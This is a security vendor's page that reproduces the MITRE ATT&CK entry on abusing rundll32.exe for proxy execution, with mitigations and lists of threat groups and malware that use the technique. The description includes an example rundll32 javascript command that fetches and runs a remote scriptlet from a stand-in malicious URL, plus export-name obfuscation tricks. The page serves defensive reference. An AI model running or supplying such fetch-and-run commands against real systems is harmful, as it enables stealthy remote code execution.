Gold Open Source
ExplorePackagesVulnerabilitiesCWEsMCP ServersScan
Login
Gold Open Source

The authoritative source for production-ready open-source components. Every package, container image, AI model, and MCP server undergoes rigorous verification for security, malware, and license compliance.

Explore Gold

  • Explore Everything
  • Packages
  • Gold Certified Packages
  • Container Images
  • AI Models
  • MCP Servers
  • Agent Skills
  • Chip Manufacturers

Security Data & Tools

  • Scan Your Dependencies
  • Trending Threats
  • Threat RSS Feeds
  • CVE Database
  • Actively Exploited (KEV)
  • SGZ Zero-Days
  • CWE Index
  • MITRE ATT&CK
  • Malicious Packages
  • Security Glossary
  • Supply-Chain Report
  • Developers (API & Badge)
  • Chrome Extension
  • Credits & Data Sources

Products

  • The Platform
  • ESSCM
  • Portal
  • TPRM
  • OSM
  • Cowork
  • Code / Runner
  • Guard

Use Cases

  • Know Your Software
  • Auto-Fix Vulnerabilities
  • Asset Discovery
  • AI Governance
  • MCP Server Security
  • Supply Chain Compliance
  • Zero-Day Discovery
  • All Use Cases

Company

  • About
  • Pricing
  • Blog
  • Documentation
  • Safeguard Academy
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 Gold Open Source. All rights reserved.

Built with care bySafeguard
Home/ATT&CK/T1218/T1218.011
MITRE ATT&CK Sub-Technique

T1218.011: Rundll32

ShareXLinkedInRedditHN

Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: <code>rundll32.exe {DLLname, DLLfunction}</code>). Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute.(Citation: Trend Micro CPL) For example, [ClickOnce](https://attack.mitre.org/techniques/T1127/002) can be proxied through Rundll32.exe. Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code> This behavior has been seen used by malware such as Poweliks.(Citation: This is Security Command Line Confusion) Threat actors may also abuse legitimate, signed system DLLs (e.g., <code>zipfldr.dll, ieframe.dll</code>) with <code>rundll32.exe</code> to execute malicious programs or scripts indirectly, making their activity appear more legitimate and evading detection.(Citation: lolbas project Zipfldr.dll)(Citation: lolbas project Ieframe.dll) Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command <code>rundll32.exe ExampleDLL.dll, ExampleFunction</code>, rundll32.exe would first attempt to execute <code>ExampleFunctionW</code>, or failing that <code>ExampleFunctionA</code>, before loading <code>ExampleFunction</code>). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending <code>W</code> and/or <code>A</code> to harmless ones.(Citation: Attackify Rundll32.exe Obscurity)(Citation: Github NoRunDll) DLL functions can also be exported and executed by an ordinal number (ex: <code>rundll32.exe file.dll,#1</code>). Additionally, adversaries may use [Masquerading](https://attack.mitre.org/techniques/T1036) techniques (such as changing DLL file names, file extensions, or function names) to further conceal execution of a malicious payload.(Citation: rundll32.exe defense evasion)

Tactics
Stealth
Platforms
Windows

▪Parent technique

T1218: System Binary Proxy Execution

▪Mitigations (1)

M1050Exploit Protection

Deploy capabilities that detect, block, and mitigate conditions indicative of software exploits. These capabilities aim to prevent exploitation by addressing vulnerabilities, monitoring anomalous behaviors, and applying exploit-mitigation techniques to harden systems and software. Operating System Exploit Protections: - Use Case: Enable built-in exploit protection features provided by modern operating systems, such as Microsoft's Exploit Protection, which includes techniques like Data Execution Prevention (DEP), Address Space Layout Randomization (ASLR), and Control Flow Guard (CFG). - Implementation: Enforce DEP for all programs and enable ASLR to randomize memory addresses used by system and application processes. Windows: Configure Exploit Protection through the Windows Security app or deploy settings via Group Policy. `ExploitProtectionExportSettings.exe -path "exploit_settings.xml"` Linux: Use Kernel-level hardening features like SELinux, AppArmor, or GRSEC to enforce memory protections and prevent exploits. Third-Party Endpoint Security: - Use Case: Use endpoint protection tools with built-in exploit protection, such as enhanced memory protection, behavior monitoring, and real-time exploit detection. - Implementation: Deploy tools to detect and block exploitation attempts targeting unpatched software. Virtual Patching: - Use Case: Use tools to implement virtual patches that mitigate vulnerabilities in applications or operating systems until official patches are applied. - Implementation: Use Intrusion Prevention System (IPS) to block exploitation attempts on known vulnerabilities in outdated applications. Hardening Application Configurations: - Use Case: Disable risky application features that can be exploited, such as macros in Microsoft Office or JScript in Internet Explorer. - Implementation: Configure Microsoft Office Group Policies to disable execution of macros in downloaded files.

▪Used by groups (26)

G0007APT28G0008CarbanakG0022APT3

▪Software using this technique (69)

S0032gh0st RATmalwareS0044JHUHUGITmalware

▪Reference

T1218.011on MITRE ATT&CK

MITRE ATT&CK® is a registered trademark of The MITRE Corporation. © 2026 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation.

G0032Lazarus Group
G0034Sandworm Team
G0046FIN7
G0047Gamaredon Group
G0050APT32
G0052CopyKittens
G0059Magic Hound
G0069MuddyWater
G0073APT19
G0082APT38
G0092TA505
G0094Kimsuky
G0096APT41
G0102Wizard Spider
G0108Blue Mockingbird
G0125HAFNIUM
G0127TA551
G0140LazyScripter
G0143Aquatic Panda
G1034Daggerfly
G1039RedCurl
G1048UNC3886
G1053Storm-0501
S0045ADVSTORESHELLmalware
S0046CozyCarmalware
S0074Sakulamalware
S0081Elisemalware
S0082Emissarymalware
S0093Backdoor.Oldreamalware
S0113Prikormkamalware
S0137CORESHELLmalware
S0139PowerDukemalware
S0141Winnti for Windowsmalware
S0142StreamExmalware
S0143Flamemalware
S0147Pteranodonmalware
S0148RTMmalware
S0154Cobalt Strikemalware
S0167Matryoshkamalware
S0196PUNCHBUGGYmalware
S0204Bribamalware
S0236Kwampirsmalware
S0244Comniemalware
S0250Koadictool
S0255DDKONGmalware
S0256Mosquitomalware
S0260InvisiMolemalware
S0267FELIXROOTmalware
S0268Bisonalmalware
S0342GreyEnergymalware
S0353NOKKImalware
S0356KONNImalware
S0368NotPetyamalware
S0381FlawedAmmyymalware
S0382ServHelpermalware
S0412ZxShellmalware
S0438Attormalware
S0452USBferrymalware
S0461SDBbotmalware
S0481Ragnar Lockermalware
S0483IcedIDmalware
S0512FatDukemalware
S0518PolyglotDukemalware
S0520BLINDINGCANmalware
S0554Egregormalware
S0559SUNBURSTmalware
S0568EVILNUMmalware
S0576MegaCortexmalware
S0589Sibotmalware
S0606Bad Rabbitmalware
S0634EnvyScoutmalware
S0635BoomBoxmalware
S0637NativeZonemalware
S0650QakBotmalware
S0698HermeticWizardmalware
S1026Mongallmalware
S1027Heyoka Backdoormalware
S1030Squirrelwafflemalware
S1039Bumblebeemalware
S1044FunnyDreammalware
S1050PcSharetool
S1052DEADEYEmalware
S1064SVCReadymalware
S1100Ninjamalware
S1122Mispadumalware
S1130Raspberry Robinmalware
S1160Latrodectusmalware
S1183StrelaStealermalware
S1190Kapekamalware
S1196Troll Stealermalware